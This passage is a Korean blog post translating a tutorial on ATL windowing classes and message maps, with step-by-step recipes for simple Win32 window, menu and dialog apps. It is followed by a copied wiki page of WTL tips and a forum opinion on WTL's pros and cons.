클래스이다. 이 클래스는 하나의 클래스에 메세지 처리를 집중하는 것을 허락한다.

CAxWindow - 컨트롤을 만들거나 존재 하는 컨트롤에 붙임으로써 ActiveX control

호스트 윈도우 구현을 지원한다.
CDialogImpl - 모달이나 모달리스 다이얼로스를 구현한다. IDOK 나 IDCANCEL 같은

기본 메세지 경로를 지원한다.
CSimpleDialog - 단순 모달 다이얼로그를 주어진 리소스 ID로 구현한다. IDOK나 IDCANCEL과

같은 기본 메세지 맵을 기지고 있다.
CAxDialogImpl - CDialogImpl 과 같이 모달과 모달리스를 를 구현하는 베이스 클래스로 사용되

며 상속된 클래스에 기본 메세지 맵을 제공한다.
추가로 ActiveX 컨트롤을 지원한다. ATL 오브젝트 위저드에서 CAxDialogImpl에

상속된 클래스를 프로젝트에 넣은 것을 지원한다.

CWndClassInfo - 새로운 윈도우 클래스의 정보를 보관한다.

특별히 WNDCLASSEX를 캡슐화한다.

CWndTraits and CWinTraitsOR - ATL 윈도우 오브젝트의 스타일을 캡슐화한다.

Message Maps

ATL을 공부하는데 시간을 투자하는 것이 꺼려지는 이유 중 하나가 괴상한 메세지 맵이다.
그러나 MFC의 메세지의 매크로를 처음 봤을 때 이해가 됬는가?
사실 ATL의 맵은 더 쉽다....(과연 그럴까?)

베이스 추상클래스의 CMessageMap 으로부터의 상속과 CWindowImpl 에서 상속된 클래스들은

윈도우 메세지들을 처리할 수 있도록 해준다.
CMessageMap 에 순수 가상함수로 정의 된 ProcessWindowMessage 는 CWindowImpl에서

상속된 클래스의 BEGION_MSG_MAP 과 END_MSG_MAP 매크로를 통해 구현된다.

ATL은 MFC와 유사한 포멧의 메세지 핸들러 가졌고 추가적으로 BOOL& 형의 아규먼트를 받는다.
이 아규먼트는 메세지가 진행중인지 아닌지를 나타내고 TURE 가 기본값이다.

FALSE 은 메세지를 가지고 있지 않다는 것이다.
FALSE인 경우 ATL 은 메세지 맵에서 보다 먼 핸들러 함수를 찾는다.

FLASE를 셋팅함으로 어떤 액션을 가 할 수 있는데 기본 프로세싱을
허용하거나 메세지 핸들링을 끝내기 위해 다른 핸들러 함수를 허용할 수 있다.


메세지 맵의 매크로는 다음과 같이 3가지 있다.
1. 모든 메세지를 위한 메세지 핸들러
2. WM_COMMAND 메세지를 위한 커맨드 핸들러
3. WM_NOTIFY 메세지를 위한 통지 핸들러

MESSAGE_HANDLER 핸들러 함수를 위한 윈도우 메세지 맵
COMMAND_HANDLER 메뉴 나 통지 코드, 컨트롤, 단축키의 ID 에 기초한 WM_COMMAND 메세지 핸들러 함수의 메세지 맵
COMMAND_ID_HANDLER 메뉴 , 컨트롤, 단축키의 ID 에 기초한 WM_COMMAND 메세지 핸들러 함수의 메세지 맵
COMMAND_CODE_HANDLER 통지 코드에 기초한 WM_COMMAND 메세지 핸들러 맵
NOTIFY_HANDLER 컨트롤 식별자나 통지코드에 기초한 WM_NOTIFY 메세지 핸들러
NOTIFY_ID_HANDLER 컨트롤 식별자에 기초한 WM_NOTIFY 메세지 핸들러
NOTIFY_CODE_HANDLER 통지 코드에 기초한 WM_NOTIFY 메세지 핸들러

예로 ATL 다이얼로그 폼에서 클래스에서 자식 컨트롤를 가진다면 아래와 같이 메세지 맵이 보여진다.

BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) COMMAND_ID_HANDLER(IDOK, OnOK) COMMAND_CODE_HANDLER(EN_ERRSPACE, OnErrEdits) NOTIFY_HANDLER(IDC_LIST1, NM_CLICK, OnClickList1) NOTIFY_ID_HANDLER(IDC_LIST2, OnSomethingList2) NOTIFY_CODE_HANDLER(NM_DBLCLK, OnDblClkLists) END_MSG_MAP()
MFC 아키텍쳐에서는 서로 다른 메세지 스키마 루틴의 사용도 허락한다. 
:(상위 계층을 통한 윈도우 메세지 루틴과 가로지는 doc-view 클래스를
가로지는 커맨드 메세지)
첫 스키마는 탬플릿 클래스 구현의 부분적인 느슨한 계층을 가진 ATL 에서는
사용할 수 없다.
두번째 스키마도 MFC 아키텍쳐와 동등하지 않기 때문에 적절치 않다
.
(...먼소린지.. @@;)

Alternate Message Maps

Alternate Message Map은 CContainedWindow 를 통해 사용하도록 디자인 되었다.

이 클래스는 다른 클래스로 메세를 보낼때 쓰여진다.
이는 부모 윈도우에 의해 자식 윈도우로 메세지를 보내는 것도 허락된다.
CContainedWindow 생성자는 메세지 맵의 주소를 필요로 한다. 그리고 메세지 맵내에
선택적 메세지맵의 ID를 필요로 한다.
예로, 윈도우 컨트롤에 기초한 ATL 컨트롤을 만들 때 객체 마법사는 CContainedWindow 멤버가
끼워 넣어진 컨트롤을 위한 클래스를 생성한다.
본질적으로, 이 컨테이너 윈도우는 ActiveX control 에 기초한 특유의 윈도우 컨트롤 슈버클래싱
한다.

class ATL_NO_VTABLE CMyButton : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CMyButton, &CLSID_MyButton>, public CComControl<CMyButton>, //... { public: CContainedWindow m_ctlButton; CMyButton() : m_ctlButton(_T("Button"), this, 1) { } BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>) ALT_MSG_MAP(1) END_MSG_MAP() //...
버튼은 WNDCLASS 스타일이고 캡션이 없다. 이 포함 클래스의 포인터는 두가지 파라미터를
보내고 , 그리고 첫변째 값은 CContainedWindow 생성자 alternate messge map에
대한 생성자가 넘어온다.
만약 컨트롤의 WM_LBUTTONDOWN을 핸들링 하기 원한다면 아래와 같이 메세지 맵을

업데이트 하면 된다. 이와 같은 벙법은 부모윈도우의 메세지맵에 메세지가 보내어 지고,
메세지 맵의 선택적 부분에도 보내어 진다.





BEGIN_MSG_MAP(CMyButton)
MESSAGE_HANDLER(WM_CREATE, OnCreate)
MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus)
CHAIN_MSG_MAP(CComControl<CMyButton>)
ALT_MSG_MAP(1)
MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown)
END_MSG_MAP()

그래서 alternate message map들은 메세지 핸들러들을 통합하기 위한 전략이다.

Chained Message Maps

Chaining message maps 은 다른 클래스나 오프젝트안의 메세지 맵을 통해 메세지를 보낸다. ATL은 몇몇 map - chaining 매크로를 제공한다.

CHAIN_MSG_MAP(theBaseClass)베이스 클래스의 기본 메세지 맵에 메세지를 보낸다.
CHAIN_MSG_MAP_ALT(theBaseClass, mapID)베이스 클래스의 alternate 메세지 맵에 메세지를 보낸다.
CHAIN_MSG_MAP_MEMBER(theMember)데이터 맴버로 명시된 기본 메세지 맵에 메세지를 보낸다.(CMessageMap에서 상속된)
CHAIN_MSG_MAP_ALT_MEMBER(theMember, mapID)명시된 데이터 맴버의 alternate 메세지 맵에 메세지를 보낸다.

예로, 윈도우 컨트롤에 기초한 ATL 컨트롤을 만들 때 오브젝트 마법사는 다음과 같은 코드를 작성
한다.

BEGIN_MSG_MAP(CMyButton)
MESSAGE_HANDLER(WM_CREATE, OnCreate)
MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus)
CHAIN_MSG_MAP(CComControl<CMyButton>)
ALT_MSG_MAP(1)
END_MSG_MAP()

이 WM_CREATE 와 WM-SETFOCUS 메세지의 명세는 이 클래스에 의해서 조정될 것이다.
그러나 어떤 다른 메세지는 베이스 클래스인 CComControl<> 에 보내어질 것이다.
또한 이 메세지 핸들에 false 가 지정되어 있다면 이들 메세지는 더 먼 핸들링을 위해
베이스 클래스를 지나갈 것이다.
데이터 맴버에 보낸 메세지는 이와 같이 맵을 업데이트 해야 한다.

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>) ALT_MSG_MAP(1) CHAIN_MSG_MAP_MEMBER(m_ctlButton) END_MSG_MAP()
이것은 m_ctlButton 이 컨테이너 윈도우의 멤버이라는 가정하이고,
CContainedwindow 에서 상속받은 클래스의 인스턴스이다는 전제하에 이다.
class CMyButtonControl : public CContainedWindow { //... BEGIN_MSG_MAP(CMyButtonControl) MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown) END_MSG_MAP() 

그래서, chained 메세지 맵은 다른 메세지 맵으로 부터의 chain - route 메세지들을 허락한다.
MFC에 의 변환된 스키마를 보내는 메세지 개념과 유사하다.

Reflected Messages

부모 윈도우는 reflected 메세지로서 메세지를 뒤로 보내는 것에 의해 자식 컨트롤에게 메세지 를 보낸것을 조정할 수 있다.
이는 원본 메세지 + 플래그 일 것이다. 컨트롤이 메세지를 얻었을 때 컨테이너로 부터 반사된 것으로서 식별이 가능하다.
예로 자식 컨트롤에서 WM_DRAWITEM 메세지를 조정하고 싶을 때이다.
이와 같은 작업을 위해 REFLECT_NOTIFICATIONS 는 반드시 부모 윈도의 메세지맵에 나타난다.
BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_ID_HANDLER(IDOK, OnOk) NOTIFY_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) REFLECT_NOTIFICATIONS() END_MSG_MAP()
REFLECT_NOTIFICATIONS 매크로는 CWindowImpl::ReflectNodifications를
호출하기 위해 확장한다.
template <class TBase> LRESULT CWindowImplRoot<TBase>::ReflectNotifications(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled);
함수는 메세지르 보내는 자식 컨트롤 을 위한 윈도우 핸들을 추출한다.
그리고 메세지를 아래와 같이 보낸다.
::SendMessage(hWndChild, OCM_ _BASE + uMsg, wParam, lParam);

자식 윈도우 reflected message 핸들들DMS
MESSAGE_HANDLER 매크로 와 olectrl.h에 미리 정의된 reflected 메세지 IDs

를 사용한다.

BEGIN_MSG_MAP(CMyContainedControl) MESSAGE_HANDLER(OCM_DRAWITEM, OnDrawItem) DEFAULT_REFLECTION_HANDLER() END_MSG_MAP()

이 예제에서 보여진 OCM_DRAWITEM 은 다음과 같이 정의 되어 있다.
#define OCM_ _BASE (WM_USER+0x1c00) #define OCM_COMMAND (OCM_ _BASE + WM_COMMAND) //... #define OCM_DRAWITEM (OCM_ _BASE + WM_DRAWITEM)

DEFAULT_REFLECTION_HANDLER 매크로는 원본 메세지와 DefWindowProc를 지나온 메세지를 변환한다.

Recipe 1: ATL Window App

이것은 ATL Window 클래스를 이용해 단순한 어플리케이션을 쉽게 만들 목적으로
디자인된 단순한 예제이다.

ATL Com AppWizard 는 COM 오브젝트를 위한 호스트를 제공하기 위해 디지인 되어 있다.
만약 non-COM 어플리케이션 이라면 위저드는 더 많은 것을 필요로한다.
그래서 ATL 어플리켄이션을 만들기 위해 두가지 선택이 필요하다.

1. ATL COM AppWizard EXE server
2. 수동적으로 추가해 주는 Win32 Application

여기서는 위저드가 생성한 코드를 피하고 가벼운 두번째 방법으로 따르겠다.
1. Win32 Application 을 Simple option 으로 생성
---ATL
2. stdafx.h에 ATL 헤더와 외부 참조 CComModule 를 추가한다.
#include <atlbase.h>
extern CComModule _Module;
#include <atlcom.h>
#include <atlwin.h>

3. main CPP 에 ATL 객체 맵을 추가하고 CComModule 오브젝트를 정의한다.
CComModule _Module;

BEGIN_OBJECT_MAP(ObjectMap)
END_OBJECT_MAP()

4. 프로젝트와 같은 이름의 IDL 파일을 생성한다.
library SomethigOrOther
{
};
--Window
5. CWindowImpl<CMyWidnow> 를 베이스 클래스로 한 CMyWindow를 생성한다.
그리고 stdafx.h 를 인클루드 해 준다.
6. 새로운 클래스에 메세지 맵을 정의한다.
BEGIN_MSG_MAP(CMyWindow)
END_MSG_MAP()

7. WM_DESTROY 메세지를 위한 핸들러를 추가하고 아래오 같이 코드를 넣어준다.
LRESULT OnDestroy(UINT uMsg, WPARARM wParam, LPRARAM lParam, BOOL& bHandled)
{
PostQuitMessage(0);
return 0;
}

8. 유사하게 WM_PAINT 핸들러를 추가하고 코드를 추가한다.
LRESULT OnPaint(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bhandled)
{
PAINTSTRUCT ps;
HDC hDC = GetDC();
BeginPaint(&ps);
TextOut(hDC,0,0,_T("HelloWorld"),11);
EndPaint(&ps);
return 0;
}

----WinMain
9. WinMain 의 위와 아라에 CComModule::Init과 Term을 넣는다.
_Module.Init(NULL,hINstance);
//....
_Module.Term();
10. Init 과 Term 사이에 윈도우 클래스의 인스턴스를 정의하고 Create을 호출해서 초기화한다.
CMyWindow wnd;
wnd.Create(NULL, CWindow::rcDefault, _T("Hello"),
WS_OVERLAPPEDWINDOW|WS_VISIBLE);
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

11. 이제 빌드하고 실행해보라.
단순히 클라이언트 영역에 "Hello World" 메세지를 볼 수 있을것이다.

Recipe 2: ATL Frame-View App

이 프로젝트에서는 ATL 윈도우 클래스 들로 MFC SDI Frame_view 패러다임 모델을 생성 할
것이다. 뷰와 메뉴와 다이얼로그를 넣어볼 것이다.
1. Recipe 1 과 같이 프로젝트를 생성한다.
---Mainframe Window
2. CWindowImpl<CMainFrame,CWindow,CFrameWinTraits>로 부터 상속받은
CMainFrame을 생성한다. WNDCLASS 구조체 이름을 정의하고 메세지 맵을 추가한다.
DECLARE_WND_CLASS(_T("MyFrame"))

BEGION_MSG_MAP(CMainFrame)
END_MSG_MAP()
3. OnFinalMessage를 상속받아야 한다.
- 몇개 안되는 ATL 가상함수로 WM_NCDESTROY 메세지를 받았을 때 호출된다.
void OnFinalMessage(HWND /*hwnd*/)
{
::PostMessage(0);
}

4. 이제 WinMain 에 몇몇 코드를 넣는다. 위와 아래에 CComModule의 초기화와 종결화를 넣는다.
_Module.Init(NULL, hInstance, NULL);
_Module.Term();

5. mainframe를 include 하고 Init과 Term 사이에 프레임의 인스턴스를 정의하고
Create를 호출해서 초기화한다.
CMainFrame mf;
mf.Create(GetDesktop(),CWindow::reDefault, _T("My App"),0,0,0);
mf.ShowWindow(SW_SHOWNORMAL);
MSG msg;
while(GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

6. Bake and Serve
-- View Window
7. 이제 view 클래스를 넣어보자.
CWindowImpl<CViewWin,CWindow,CWinTraits>에서 상속 받는 CViewWin을 생성하자.
8. stdafx.h를 인클루드하고 WNDCLASS와 메세지 맵을 정의한다.
CMainFrame 에 맴버변수로 CViewWin의 인스턴스를 추가하고
frame의 WM_CREATE에 view 를 생성하라.
LRESULT OnCreate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
{
m_wndView.Create(m_hWnd, CWindow::rcDefault, _T("MyView"),0,0,0);
return 0;
}

9. 또한 WM_SIZE에서 view의 사이즈를 구현해 준다.
LRESULT OnSize(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
{
RECT r;
GetClient(&r);
m_wndView.SetWindowPos(NULL,&r,SWP_NOZDRDER | SWP_NOACTIVATE);
return 0;
}


User Interface

이제 WM_LBUTTONDOWN, WM_MOUSEMOVE, WM_LBUTTONUP 메세지를 핸들링 할것이다

10. 먼저, 두개의 POINT 데이터를 맴버로 두고, 생성자에서 -1 로 초기화한다.
시작 부터 끝날 때까지 각각의 라인을 그리는 트랙을 유지해야한다.
m_stratPoint.x = m_startPoint.y = -1;
m_endPoint.x = m_endPoint.y = -1;

11. 다음으로 OnLButtonDown,에서 라인의 시작점을 저장한다.
LRESULT OnLButtonDown(UINT uMsg, WPARAM wParam,
LPARAM lParam, BOOL& bHandled)
{
m_startPoint.x = LOWORD(lParam);
m_startPoint.y = HIWORD(lParam);
return 0;
}
12. OnLButtonUP 에서 시작 점을 초기화한다.
LRESULT OnLButtonUP(UINT uMsg, WPARAM wParam,

LPRARAM lParam, BOOL& bHandled)
{
m_startPoint.x = m_startPoint.y = -1;
return 0;
}

13. OnMouseMove 에서는 좀더 많은 작업을 해줘야 한다.

먼저 끝점을 저장한다. 그리고 DC를 얻어 MoveToEX 와 LineTo 를
사용해서 라인을 그린다. 마지막으로 끝점을 시작점에 저장한다.
LRESULT OnMouseMove(UINT uMsg, WPARAM wParam,
LPARAM lParam, BOOL& bHandled)
{
m_endPoint.x = LOWORD(lParam);
m_endPoint.y = HIWORD(lParam);
HDC hdc = GetDC();
if(m_startPoint.x != -1)
{
MoveToEx(hdc, m_strarPoint.x, m_startPoint.y , NULL);
LineTo(hdc, m_endPoint.x, m_endPoint.y);
m_startPoint.x = m_endPoint.x;
m_startPoint.y = m_endPoint.y;
}
}

Recipe 3: ATL Menus

펜 컬러를 넣는 단순한 메뉴를 넣어보자
1. 프로젝트를 계속 이어가서, 첫번째로, 뷰 클래스에 COLORREF 형의 m_color 맴버 변수를
넣는다. 초기화는 생성자에서 블랙으로 한다.
그리고 이것을 사용해서 OnMouseMove핸들러에서 펜을 만들고 DC 에서 선택한다.
DC를 사용후에는 원래 펜을 선택한다.
HPEN hp = CreatePen(PS_SOLID, 2, m_color);
HPEN op = (HPEN)SelectObject(hdc, hp);


2. 메뉴에 리소스를 삽입한다. 상위 레벨에 Color 이라는 캡션을 추가하고 메뉴 아이템으로
red, green, blue 를 추가한다.
3. WinMain 에서 리소르 헤더를 인클루드하고 mainframe 을 생성하기 전에 메뉴를 로드하고
Create 를 호출한다.
HMENU hMenu = LoadMenu(_Module.GetResourceInstance(),
MAKEiNTERESOURDE(IDR_MENU1));
mf.Create(GetDesktopWindow(), CWindow::rcDefault, _T("My App"), 0,0, (UINT) hMenu);

4. 메뉴 아이템을 위해 command 핸들러를 main frame 에 넣어준다.
BEGIN_MSG_MAP(CMainFrame)
MESSAGE_HANDLER(WM_CREATE, OnCreate)
MESSAGE_HANDLER(WM_SIZE, OnSize)
COMMAND_ID_HANDLER(ID_COLOR_RED,OnColorRed)
COMMAND_ID_HANDLER(ID_COLOR_GREEN, OnColorGreen)
COMMAND_ID_HANDLER(ID_COLOR_BLUE, OnColorBlue)
END_MSG_MAP()

5. 3개의 핸들러에 대해서 해야할 작업을 적어준다.
LRESULT OnColorRed(WORD wNotifyCode, WORD wID, HWND hWndCtrl, BOOL& bHandled)
{
m_wndView.m_color = RGB(255,0,0);
return 0;
}


Recipe 4: ATL Dialogs

단순한 다이얼로그 리소스를 추가해 보자.

1. 위의 프로젝트에 이어서 "View" 메뉴를 넣고 "Dialog"메뉴 아이템을 넣자.
command 핸들러를 main - frame 메세지 맵에 넣는다.
COMMAND_ID_HANDLER(ID_VIEW_DIALOG, OnViewDialog)
2. 여기서는 CSimpleDialog 를 직접 사용할 것이다.
먼저 새로운 다이얼로그 리소스를 넣고, static box 를 넣는다.
메뉴에 대한 명령 핸들러에서 이것을 이용한다.
LRESULT OnViewDialog(WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled)
{
CSimpleDialog<IDD_DIALOG1> dlg;
dlg.DoModal();
return 0;
}

3. 좀더 멋을 부리고 싶다면 CSimpleDialog 로 부터 상속 받을 수 있다.
그래서 첫번째로 리소스 에디터에서 combobox 를 넣는다.

    4. 그리고 CListDialog 라는 CSimpleDialog<IDD_DIAOG1>로 부터 상속 받은 새로운 클래스를
    만든다. stdafx.h 를
    인클루드 하는 것을 잊지말라. 새로운 클래스에 메세지 맵을 추가하고 맵에
    베이스 클래스의 메세지 맵에 묶기 위한 코드를 기입한다.
    BEGIN_MSG_MAP(CListDialog)
    CHAIN_MSG_MAP(CSimpleDialog<IDD_DIALOG1>)
    END_MSG_MAP()

    5. 다음으로 combobox에 문자열을 추가하기 위해 WM_INITDIALOG에 코드를 추가해
    줄 것이다. 먼저 콤보박스에 sort 속성을 제거한다.
    LRESULT OnIntiDialog(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
    {
    CWindow combo(GetDlgItem(IDC_COMBO1));
    combo.SendMessage(CB_ADDSTRING, 0 , (LPARAM)"Red");
    combo.SendMessage(CB_ADDSTRING, 0 , (LPARAM)"Green");
    combo.SendMessage(CB_ADDSTRING, 0 , (LPARAM)"Blue");
    return CSimpleDialog<IDD_DIALOG1>::OnInitDailog(uMsg,wParam,lParam,bHandled);
    }
    6. Note : CHAIN_MSG_MAP 매크로 는 맵의 마지막 진입점이다.
    7. DDX/DDV는 어떻게 하는가?
    COMMAND_ID_HANDLER(IDOK, OnOK)
    8. OnOK는 아래와 같이 적어준다. m_text라는 CComBSTR 형 맴버변수에 텍스는 저장할 것이다.
    LRESULT OnOK(WORD, WORD nID, HWND, bool&)
    {
    CComBSTR text;
    GetDlgItemText(IDC_COMBO1,m_text.m_str);
    ::EndDilog(m_hWnd, wID);
    return 0 ;
    }
    9. 마지막으로 다이얼로그로 부터 추출한 텍스트를 사용하기 위해 메뉴 아이템 핸들러를
    업데이트 한다.
    LRESULT OnViewDialog(WORD wnotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled)
    {
    CListDialog dlg;
    if(IDOK == dlg.DoModal())
    {
    if(dlg.m_text == CComBSTR("Red"))
    m_wndView.m_Color = RGB(255,0,0);
    else if(dlg.m_text == CComBSTR("Green"))
    m_wndView.m_color = RGB(255,0,0);
    else if(dlg.m_text == CComBSTR("Blue"))
    m_wndView.m_color = RGB(0,0,255);
    }
    return 0;
    }

    만약 툴바와 상태바로 이 app 를 확장하고 싶다면 ATL CStatusBarCtrl 과 CToolBarCtrl 클래스를
    이용할 수 있다. 이것은 atlcontrols.h 에정의 되어 있지만 MS가 기본적으로 지원하지 않는다.

    'Computer Science' 카테고리의 다른 글

    [ VMWare ] Workstation / GSX Server / ESX Server 의 차이점  (0) 2009.05.16
    Using the ATL Windowing Classes  (0) 2009.04.28
    wtl  (0) 2009.04.25
    WTL code  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24

    http://serious-code.net/moin.cgi/WTL#head-985b205a281fe54ca528258d5d78b84520539515

    serious-code.net WTL

    1. Windows Template Library
    2. 시작하기
      1. 설치
      2. 링크
      1. 리스트뷰 컨트롤 Full Row Select 켜기
      2. 모달 다이얼로그 컨트롤 리사이징
      3. ClientEdge 그리기
      4. Contained Window
      5. 더블 버퍼링
      6. IDLE 처리
      7. Custom Modal Dialog
      8. DDX
      9. 메뉴 업데이트
      10. 단축키
      11. RichEdit 컨트롤 사용하기
    3. 다운로드


    1 Windows Template Library

      [WWW]http://sourceforge.net/projects/wtl/

      윈도우즈 애플리케이션 및 UI 컴포넌트 개발을 위한 C++ 라이브러리. ATL을 기반으로 개발되었으며, 각종 컨트롤, 대화창, 윈도우 프레임, GDI 오브젝트 등을 제공한다.

      API로 GUI 프로그래밍하려니 귀찮고, MFC를 쓰자니 의존성이 짜증나는 경우, 대안으로 사용할 수 있다. 템플릿 기반으로 작성되었고, 특별한 DLL 같은 것을 필요로 하지 않는다. 문제는 관련 문서가 너무 부족하다는 것이다. 공식적인 헬프 파일도 존재하지 않고, 인터넷에 있는 문서들도 MFC 같은 것에 비하면 거의 없는 것과 마찬가지다.

      장단점을 요약해 보자면 다음과 같다.

      from [WWW]http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=18197

      I built a couple of medium sized GUI apps with WTL.

      My experience was generally positive, but I had been using ATL for at least four years by that point, and considered something of an expert in it. With that background, WTL was a breath of fresh air to me compared to the MFC prison.

      The plus side of WTL:
      • Designed like ATL rather than MFC. Functionality is composed via multiple inheritance in a shallow hierarchy rather than using a deep single-inheritance hierarchy where the functionality you want isn't in the branch you need it (What do you mean I need a view to have scrolling support?)
      • All source code is available, and it's quite readable if you understand ATL. This also alleviates the "end of life" arguments - who cares if it doesn't get maintained? You've got the source code, and it's easy to tweak.
      • Since WTL is built around composition, it's dirt simple to extend to do whatever you need to.
      • Support from WTL's author is quite good - there's a WTL yahoo group that he hangs out on.

      Down sides of WTL:
      • If you don't know ATL, or are afraid of templates, stay away. It won't make any sense at all.
      • Documentation is essentially non-existant. There's a good intro article (2 parts) on http://www.develop.com somewhere that explains the basics of what's in the library and how to use it. http://www.codeproject.com has a WTL section with some good stuff. But there's no books and no printed articles and no likelyhood of any appearing any time soon.
      • Very slow compile times. Lots of templates mean lots of work for the compiler.

      In general, WTL is the expert's tool. If you know Win32 programming well, and understand how ATL is put together, WTL will make you VERY productive, even without the handholding of wizards. If you aren't, well, you're in for a bit of a tough road. But the destination is well worth it.

      On the other hand, if you just want to churn out a couple of dialogs, use WinForms instead.


    2 시작하기

    3 팁

      3.1 리스트뷰 컨트롤 Full Row Select 켜기

        myListCtrl.SetExtendedListViewStyle(LVS_EX_FULLROWSELECT);
        API를 모르니 원...

      3.2 모달 다이얼로그 컨트롤 리사이징

        class cMainDialog : public CDialogImpl<cMainDialog>,                    public CDialogResize<cMainDialog> // !!!{    ...    BEGIN_MSG_MAP_EX(cMainDialog)        MSG_WM_INITDIALOG(OnInitDialog)        ...        CHAIN_MSG_MAP(CDialogResize<cMainDialog>) // !!!    END_MSG_MAP()    // !!!    BEGIN_DLGRESIZE_MAP(cMainDialog)        DLGRESIZE_CONTROL(IDC_GEOMETRY_GROUP, DLSZ_SIZE_X)        DLGRESIZE_CONTROL(IDC_LEVEL_EDIT, DLSZ_SIZE_X)        DLGRESIZE_CONTROL(IDC_LEVEL_BUTTON, DLSZ_MOVE_X)        DLGRESIZE_CONTROL(IDC_GEOMETRY_EDIT, DLSZ_SIZE_X)        DLGRESIZE_CONTROL(IDC_GEOMETRY_BUTTON, DLSZ_MOVE_X)    END_DLGRESIZE_MAP()    LRESULT OnInitDialog(HWND hwndFocus, LPARAM lParam)    {        ...        DlgResize_Init(true, true, WS_THICKFRAME);  // !!!        ...    }};

      3.3 ClientEdge 그리기

        딱히 ATL/WTL 과 관련된 것도 아니고, 윈도우 생성할 때 WS_EX_CLIENTEDGE 플래그 주면 그만인 내용이지만...
        CRect client, tmp;GetClientRect(&client);CBrush light, face, shadow, black;light.CreateSolidBrush(::GetSysColor(COLOR_BTNHIGHLIGHT));face.CreateSolidBrush(::GetSysColor(COLOR_BTNFACE));shadow.CreateSolidBrush(::GetSysColor(COLOR_BTNSHADOW));black.CreateSolidBrush(::GetSysColor(COLOR_3DDKSHADOW));// toptmp.SetRect(client.left, client.top, client.right - 1, client.top + 1);dc.FillRect(tmp, shadow);tmp.SetRect(client.left, client.top + 1, client.right - 1, client.top + 2); dc.FillRect(tmp, black);// bottomtmp.SetRect(client.left, client.bottom - 2, client.right - 1, client.bottom - 1);dc.FillRect(tmp, face);tmp.SetRect(client.left, client.bottom - 1, client.right - 1, client.bottom - 0);dc.FillRect(tmp, light);// lefttmp.SetRect(client.left, client.top + 1, client.left + 1, client.bottom - 1);dc.FillRect(tmp, shadow);tmp.SetRect(client.left + 1, client.top + 1, client.left + 2, client.bottom - 2);dc.FillRect(tmp, black);// righttmp.SetRect(client.right - 2, client.top + 1, client.right - 1, client.bottom - 2);dc.FillRect(tmp, face);//tmp.SetRect(client.right - 2, client.top + 1, client.right - 1, client.bottom - 2);//dc.FillRect(tmp, shadow);// centertmp.SetRect(client.left + 2, client.top + 2, client.right - 2, client.bottom - 2);dc.FillSolidRect(tmp, ::GetSysColor(COLOR_APPWORKSPACE));

      3.4 Contained Window

        class cMainWindow : public cWindowImpl<...>{private:    CContainedWindowT<CEdit> m_Edit;public:    BEGIN_MSG_MAP(cMainWindow)        ...    ALT_MSG_MAP(1)        MESSAGE_HANDLER(WM_CHAR, OnEditChar)    END_MSG_MAP()    LRESULT OnCreate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)    {        ...        if (!m_Edit.Create(this, 1, m_hWnd, rcDefault))            return -1;        ...    }    LRESULT OnEditChar(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)    {        ...    }};
        메시지맵 ID에 주의

      3.5 더블 버퍼링

        CDoubleBufferImpl 클래스를 상속받으면 된다. 그런데 약간 이상한게 CDoubleBufferImpl 클래스 내부에 OnPaint 함수와 메시지맵이 정의가 되어있는데, OnPaint 함수가 제대로 호출되지 않는다. 그러므로 실제 상속받은 클래스에서 한번 선언해준다.
        class cMainDialog : public CDialogImpl<cMainDialog>,                    public CDoubleBufferImpl<cMainDialog>{public:    enum { IDD = IDD_MAIN };    BEGIN_MSG_MAP_EX(cMainDialog)        ...        MESSAGE_HANDLER(WM_PAINT, OnPaint) // 메시지맵은 정의하되, 실제 함수는 선언하지 않아야한다.        ...    END_MSG_MAP()    void DoPaint(CDCHandle dc)    {        // 여기서 뭔가를 실제로 그려준다.        ...    }};

      3.6 IDLE 처리

        CIdleHandler 클래스는 기본적으로 idle 처리를 한번 한 후에는 WM_MOUSEMOVE, WM_PAINT 이외의 메시지가 도착해야만 다시 idle 처리를 한다. 항상 idle 처리를 하게 만들기 위해서는 클래스를 상속받는 것이 편하다.
        class cMainFrame : public CFrameWindowImpl<cMainFrame>,                    public CUpdateUI<cMainFrame>,                   public CMessageFilter,                   public CIdleHandler{    ...    virtual BOOL OnIdle()    {        // 여기서 할 일을 정의한다.        return TRUE; // 별 의미 없다.    }    ...};class cCustomMessageLoop : public CMessageLoop{public:    virtual BOOL OnIdle(int nIdleCount)    {        CMessageLoop::OnIdle(nIdleCount);        // 리턴값이 중요하다! CMessageLoop::OnIdle 함수는 기본적으로 FALSE를 반환한다.        return TRUE;     }};int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,                    LPTSTR lpCmdLine, int nCmdShow){    cCustomMessageLoop theLoop;    cMainFrame theWindow;    theModule.Init(NULL, hInstance);    theModule.AddMessageLoop(&theLoop);        ....        return 0;}

      3.7 Custom Modal Dialog

